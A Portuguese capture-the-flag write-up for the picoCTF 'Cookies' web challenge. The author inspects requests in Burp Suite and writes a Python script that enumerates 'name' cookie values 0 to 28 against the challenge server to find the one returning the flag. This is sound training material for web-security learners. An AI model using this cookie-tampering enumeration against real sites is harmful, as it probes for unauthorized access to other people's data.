31/05/2023 – PicoCTF – Cookies

Link: <https://play.picoctf.org/practice/challenge/173?originalEvent=34&page=2>

1. Verificando o padrão de request feita para o site, utilizando como padrão o “cookie” que o próprio site indica (“snickerdoodle”), utilizando Burp Suite:

Texto

Descrição gerada automaticamente

1. Dando “foward”

Texto

Descrição gerada automaticamente

1. Verificando o site, a seguinte tela apareceu:

Interface gráfica do usuário, Texto, Aplicativo, Email

Descrição gerada automaticamente

1. Verificando uma request de um cookie inválido:

Texto

Descrição gerada automaticamente

Texto

Descrição gerada automaticamenteInterface gráfica do usuário, Aplicativo

Descrição gerada automaticamente

1. Aparentemente existe um cookie “name” que referencia o “cookie” que o usuário está buscando, e um cookie “session” que verifica a sessão do usuário. Ao apagar o “session” e escolhendo um outro valor aleatório para “name”:

Texto

Descrição gerada automaticamente

Interface gráfica do usuário, Texto, Aplicativo, chat ou mensagem de texto, Email

Descrição gerada automaticamente

1. Algum dos possíveis cookies de chave deve armazenar a flag. Será jogado no “repeater” do Burp Suite para facilitar nos testes:

Texto

Descrição gerada automaticamente

1. Verificando o número de “name” mais alto que existe (na tentativa e erro), que é o “name=28”:

Tela de computador com texto preto sobre fundo branco

Descrição gerada automaticamente

Texto

Descrição gerada automaticamente

1. Criando um script em python que faz requisições de “name” igual a 0 à 28 para verificar se alguma delas possui algo de estranho. Foi verificado que, em nomes de “cookies” corretos, o site exibe a seguinte mensagem “That is a cookie! Not very special though...”. Portanto, será utilizado como filtro esta mensagem: a request que não aparecer esta mensagem será exibida no terminal:

import requests

url = "http://mercury.picoctf.net:17781/check"

d\_headers = {}

for i in range(29):

d\_headers[i] = {

"Host": "mercury.picoctf.net:17781",

"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0",

"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8",

"Accept-Language": "pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3",

"Accept-Encoding": "gzip, deflate",

"Referer": "http://mercury.picoctf.net:17781/",

"Connection": "close",

"Cookie": "{8c8fa57b-b4c7-455f-8de3-eb950b29b799\}=value; name="+str(i),

"Upgrade-Insecure-Requests": "1"

}

for i in range(29):

response = requests.get(url, headers=d\_headers[i])

if not "That is a cookie! Not very special though..." in response.text:

print("Request" + str(i) + "has something")

1. Rodando o arquivo criado:

Texto, Aplicativo

Descrição gerada automaticamente

1. Portanto, ao rodar no “repeater” do BurpSuite uma requisição com “name=18”:

Texto

Descrição gerada automaticamente

1. Logo, a flag é a seguinte: $flag